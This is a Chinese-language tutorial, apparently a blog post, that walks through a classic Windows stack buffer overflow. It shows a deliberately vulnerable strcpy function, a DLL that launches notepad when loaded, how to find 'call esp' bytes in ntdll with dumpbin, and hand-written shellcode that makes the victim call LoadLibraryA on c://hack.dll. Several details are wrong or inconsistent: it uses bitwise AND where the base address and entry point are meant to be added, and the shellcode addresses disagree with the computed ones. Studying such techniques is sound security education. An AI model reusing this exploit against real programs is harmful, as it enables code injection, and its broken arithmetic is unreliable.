#include <string.h>
{
char buf[10];
strcpy(buf, input);
}
int main(int argc, char *argv[])
{
return 0;
}
#include
"stdafx.h"
#include <stdio.h>
#include <windows.h>
#ifdef _MANAGED
#pragma managed(push, off)
#endif
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si,
sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // 每次一个新的进程加载该dll的时候,触发这个条件
WinExec("C://WINDOWS//notepad.exe", SW_SHOW);
break;
default:
break;
}
return TRUE;
}
#ifdef
_MANAGED
#pragma managed(pop)
#endif
3.为了调用LoadLibrary,我们需要写一些汇编指令,因为cpu执行的是机器码,而不是汇编指令,所以你要将汇编指令转换为机器码。转换很简单,在你的代码里面加上下面这几行:
int main()
{
_asm {
jmp esp
}
}
将断点设置在main函数的开始处,执行程序,程序中断后,去反汇编,你会看到类似下面的代码:
00401763 FF E4 jmp esp
00401763是这段汇编码在程序中的地址,FF E4就是jmp esp对应的机器码了。呵呵,如果没有FF E4出现的话,在反汇编窗口中右键单击,选择“Show Byte Code”(VS 2005英文版)。
现在腰调用esp中的地址,可以是jmp esp也可以是call esp,但是这个代码必须是进程中已有的,OK,我们在程序中找到这个地址。再次运行程序A,在main函数中设置断点,中断后,选择Debug -- Window -- Module查看这个程序所有加载的dll(无论是动态的还是静态加载的)。程序A中不出意外的话应该有kernel32.dll和ntdll.dll,还有可能有msvcrt8.dll。
我们找一下这些dll里面有没有对应的机器码,怎么找?怎么把一个dll反汇编?呵呵,VS 2005里面自己就带了一个反汇编工具:dumpbin,路经在C:/Program Files/Microsoft Visual Studio 8/VC/bin。dumpbin有一个选项/disasm就是将任何一个PE文件(DLL或EXE)反汇编
打开cmd窗口,执行dumpbin /disasm c:/windows/system32/kernel32.dll | findstr /c:"FF E4",哦哦,没有。再试ntdll.dll,还是没有。试一下call esp,它的机器吗是FF E5。kernel32.dll里面没有,啊哈,ntdll.dll里面有,这是搜索结果:
7C914393: FF E5 call esp
4.编写shell code,调用LoadLibrary,需要知道LoadLibrary函数的地址,获取的办法是这样的:LoadLibrary是在kernel32.dll中的,启动Depends.exe,Depends.exe包含在Windows SDK中,你也可以去网上搜一下,下载一个回来用,实在找不到,那我就牺牲一下自己啦。
随便用depends打开一个exe文件,在左上角的依赖树里面点击kernel32.dll,在右边第二个窗口中找到LoadLibraryA这个函数,可以看到它的Entry Point是0x000445EF,如下:
E | Ordinal | Hint | Function | Entry Point
---------------------------------------------------------------------------------------------
754 (0x02F2) | 753 (0x02F1) | LoadLibraryA | 0x000445EF
操作系统不一样,值可能不一样,在最下面的窗口中找到kernel32.dll的base address(Preferred Base)是0x77E00000,如下:
Module | ... 中间很多省略 ... | Preferred Base
-------------------------------------------------------------------------
Kernel32.dll | .... | 0x77E000000
将Kernel32.dll的Preferred Base和LoadLibraryA的Entry Point按位于就获得LoadLibraryA在你的程序中的地址是:0x77E445EF。
5。最后编写汇编代码执行你的黑客程序:
_asm {
mov eax 0x77E445EF // 将LoadLibraryA的地址存在eax寄存器中
call L4
L2: call eax // 调用LoadLibraryA,程序执行到这段指令时LoadLibraryA的参数已经压栈
L3: jmp L3 // 循环,确保被黑的程序不会死掉
L4: call L2
}
6。最后,示例程序如下:
#include
<stdio.h>
#include <string.h>
void func(char *p)
{
char stack_temp[20];
strcpy(stack_temp, p);
printf(stack_temp);
}
void foo()
{
printf("This should not be called");
}
int main(int argc, char *argv[])
{
func("I AM MORE THAN TWENTLONG/x93/x43/x91/x7C"
"/xB8/x77/x1D/x80/x7C" // mov eax 0x771D807C LoadLibraryA的地址
"/xEB/x04" // call L4
"/xFF/xD0" // L2: call eax
"/xEB/xFE" // L3: jmp L3
"/xE8/xF7/xFF/xFF/xFF" // L4: call L2
"c://hack.dll/0"); // LoadLibraryA的参数,也就是我们要刻意加载的dll文件
return 0;
}
完了,累死了